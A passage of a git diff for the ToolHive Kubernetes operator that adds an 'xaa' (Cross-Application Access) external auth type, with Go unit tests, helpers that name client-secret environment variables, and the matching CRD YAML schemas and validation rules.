IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + SubjectProviderName: subjectProviderName, + }, + } +} + // embeddedAuthServerCfg builds a minimal EmbeddedAuthServerConfig with the given upstream names. func embeddedAuthServerCfg(upstreamNames ...string) *mcpv1beta1.EmbeddedAuthServerConfig { cfg := &mcpv1beta1.EmbeddedAuthServerConfig{} @@ -1155,6 +1259,26 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { embeddedCfg: embeddedAuthServerCfg("github"), wantSamePointer: true, }, + // xaa strategy cases + { + name: "xaa_populates_subject_provider_name", + strategy: xaaStrategy(""), + embeddedCfg: embeddedAuthServerCfg("github"), + wantSubjectProviderName: "github", + }, + { + name: "xaa_already_set_provider_not_overridden", + strategy: xaaStrategy("explicit-provider"), + embeddedCfg: embeddedAuthServerCfg("github"), + wantSamePointer: true, + wantSubjectProviderName: "explicit-provider", + }, + { + name: "xaa_nil_XAA_config_returned_unchanged", + strategy: &authtypes.BackendAuthStrategy{Type: authtypes.StrategyTypeXAA, XAA: nil}, + embeddedCfg: embeddedAuthServerCfg("github"), + wantSamePointer: true, + }, } for _, tt := range tests { @@ -1172,6 +1296,8 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) case result.AwsSts != nil: assert.Equal(t, tt.wantSubjectProviderName, result.AwsSts.SubjectProviderName) + case result.XAA != nil: + assert.Equal(t, tt.wantSubjectProviderName, result.XAA.SubjectProviderName) } } return @@ -1195,6 +1321,14 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { assert.Empty(t, tt.strategy.AwsSts.SubjectProviderName, "original strategy must not be mutated") } + case authtypes.StrategyTypeXAA: + require.NotNil(t, result.XAA) + assert.Equal(t, tt.wantSubjectProviderName, result.XAA.SubjectProviderName) + // Verify the original strategy was not mutated. + if tt.strategy != nil && tt.strategy.XAA != nil { + assert.Empty(t, tt.strategy.XAA.SubjectProviderName, + "original strategy must not be mutated") + } } }) } @@ -1668,6 +1802,128 @@ func TestBuildOutgoingAuthConfig_InlineBackendSubjectProviderInjection(t *testin "inline backend SubjectProviderName should be injected from first upstream") } +// TestGetExternalAuthConfigSecretEnvVars_XAA verifies the XAA arm of +// getExternalAuthConfigSecretEnvVars: it must return one env var per configured +// SecretKeyRef (IdP and/or target), sourced from the referenced Secret, with +// names generated by GenerateUniqueXAAIDPSecretEnvVarName and +// GenerateUniqueXAATargetSecretEnvVarName respectively. +func TestGetExternalAuthConfigSecretEnvVars_XAA(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + authCfg *mcpv1beta1.MCPExternalAuthConfig + wantEnvNames []string + wantSecretRefs map[string]struct{ name, key string } // env var name → secret ref + }{ + { + name: "both idp and target secret refs", + authCfg: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-cfg", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + }, + }, + }, + wantEnvNames: []string{ + "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_CFG", + "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_XAA_CFG", + }, + wantSecretRefs: map[string]struct{ name, key string }{ + "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_CFG": {name: "idp-secret", key: "client-secret"}, + "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_XAA_CFG": {name: "target-secret", key: "client-secret"}, + }, + }, + { + name: "only idp secret ref", + authCfg: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-idp", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "idp-key", + }, + }, + }, + }, + wantEnvNames: []string{"TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_IDP"}, + wantSecretRefs: map[string]struct{ name, key string }{ + "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_IDP": {name: "idp-secret", key: "idp-key"}, + }, + }, + { + name: "no secret refs returns nil", + authCfg: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-none", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + wantEnvNames: nil, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(tt.authCfg). + Build() + + r := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + envVars, err := r.getExternalAuthConfigSecretEnvVars(t.Context(), "default", tt.authCfg.Name) + require.NoError(t, err) + + if len(tt.wantEnvNames) == 0 { + assert.Empty(t, envVars) + return + } + + require.Len(t, envVars, len(tt.wantEnvNames)) + for _, ev := range envVars { + assert.Contains(t, tt.wantEnvNames, ev.Name, + "unexpected env var name %q", ev.Name) + if ref, ok := tt.wantSecretRefs[ev.Name]; ok { + require.NotNil(t, ev.ValueFrom) + require.NotNil(t, ev.ValueFrom.SecretKeyRef) + assert.Equal(t, ref.name, ev.ValueFrom.SecretKeyRef.Name) + assert.Equal(t, ref.key, ev.ValueFrom.SecretKeyRef.Key) + } + } + }) + } +} + // TestGetExternalAuthConfigSecretEnvVars_OBO proves the obo arm of the // getExternalAuthConfigSecretEnvVars switch dispatches through the registered // OBO handler. With the default handler the method must return an error diff --git a/cmd/thv-operator/pkg/controllerutil/externalauth.go b/cmd/thv-operator/pkg/controllerutil/externalauth.go index 0412f7d3b3..5bf012a1f0 100644 --- a/cmd/thv-operator/pkg/controllerutil/externalauth.go +++ b/cmd/thv-operator/pkg/controllerutil/externalauth.go @@ -44,6 +44,30 @@ func GenerateUniqueHeaderInjectionEnvVarName(configName string) string { return fmt.Sprintf("TOOLHIVE_HEADER_INJECTION_VALUE_%s", sanitized) } +// GenerateUniqueXAAIDPSecretEnvVarName generates a unique environment variable name for XAA +// IdP client secrets, incorporating the ExternalAuthConfig name to ensure uniqueness across +// multiple configs. Used by both the converter and deployment controller for consistent naming. +// +// Example: For an ExternalAuthConfig named "my-auth-config", this returns: +// "TOOLHIVE_XAA_IDP_CLIENT_SECRET_MY_AUTH_CONFIG" +func GenerateUniqueXAAIDPSecretEnvVarName(configName string) string { + sanitized := strings.ToUpper(strings.ReplaceAll(configName, "-", "_")) + sanitized = envVarSanitizer.ReplaceAllString(sanitized, "_") + return fmt.Sprintf("TOOLHIVE_XAA_IDP_CLIENT_SECRET_%s", sanitized) +} + +// GenerateUniqueXAATargetSecretEnvVarName generates a unique environment variable name for XAA +// target AS client secrets, incorporating the ExternalAuthConfig name to ensure uniqueness across +// multiple configs. Used by both the converter and deployment controller for consistent naming. +// +// Example: For an ExternalAuthConfig named "my-auth-config", this returns: +// "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_MY_AUTH_CONFIG" +func GenerateUniqueXAATargetSecretEnvVarName(configName string) string { + sanitized := strings.ToUpper(strings.ReplaceAll(configName, "-", "_")) + sanitized = envVarSanitizer.ReplaceAllString(sanitized, "_") + return fmt.Sprintf("TOOLHIVE_XAA_TARGET_CLIENT_SECRET_%s", sanitized) +} + // Header-forward env-var helpers (constants + name generators + the shared // header-name normalizer) moved to pkg/vmcp/headerforward/wirefmt so the // runtime can consume them without inverting Go layering. Operator code diff --git a/cmd/thv-operator/pkg/controllerutil/tokenexchange.go b/cmd/thv-operator/pkg/controllerutil/tokenexchange.go index 5d3725c987..e568ee068d 100644 --- a/cmd/thv-operator/pkg/controllerutil/tokenexchange.go +++ b/cmd/thv-operator/pkg/controllerutil/tokenexchange.go @@ -258,6 +258,9 @@ func AddExternalAuthConfigOptions( // default's "unsupported external auth type" path so callers can // distinguish via errors.Is(err, obo.ErrEnterpriseRequired). return OBOApplyRunConfig(ctx, c, namespace, externalAuthConfig, options) + case mcpv1beta1.ExternalAuthTypeXAA: + // XAA is handled by the vMCP converter at runtime + return nil default: return fmt.Errorf("unsupported external auth type: %s", externalAuthConfig.Spec.Type) } diff --git a/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go b/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go index 164bb889e8..3ddad01c04 100644 --- a/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go +++ b/cmd/thv-operator/pkg/controllerutil/tokenexchange_test.go @@ -329,7 +329,8 @@ func TestAddOBOSecretEnvVars(t *testing.T) { case mcpv1beta1.ExternalAuthTypeUnauthenticated, mcpv1beta1.ExternalAuthTypeEmbeddedAuthServer, mcpv1beta1.ExternalAuthTypeAWSSts, - mcpv1beta1.ExternalAuthTypeUpstreamInject: + mcpv1beta1.ExternalAuthTypeUpstreamInject, + mcpv1beta1.ExternalAuthTypeXAA: // No secret-bearing sub-spec to populate for these types. } return cfg diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml index 6a825d9800..3c306255c0 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml @@ -798,13 +798,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -948,7 +948,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -973,13 +973,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -1354,6 +1354,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -1362,13 +1363,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + Step A. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (Steps A and B). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for Step B. + ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + Step B (JWT Bearer grant). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -1395,11 +1497,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig @@ -2296,13 +2400,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -2446,7 +2550,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -2471,13 +2575,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -2852,6 +2956,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -2860,13 +2965,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + Step A. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (Steps A and B). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for Step B. + ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + Step B (JWT Bearer grant). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -2893,11 +3099,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml index 87ec1bd7ba..82f66b27dd 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -671,13 +671,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -821,7 +821,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -846,13 +846,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -2157,6 +2157,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). @@ -2454,6 +2461,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). @@ -4063,13 +4077,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -4213,7 +4227,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -4238,13 +4252,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -5549,6 +5563,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). @@ -5846,6 +5867,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml index 3d21527444..6bff3a2d72 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml @@ -801,13 +801,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -951,7 +951,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -976,13 +976,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -1357,6 +1357,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -1365,13 +1366,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + Step A. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (Steps A and B). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for Step B. + ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + Step B (JWT Bearer grant). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -1398,11 +1500,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig @@ -2299,13 +2403,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -2449,7 +2553,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -2474,13 +2578,13 @@ spec: type: string 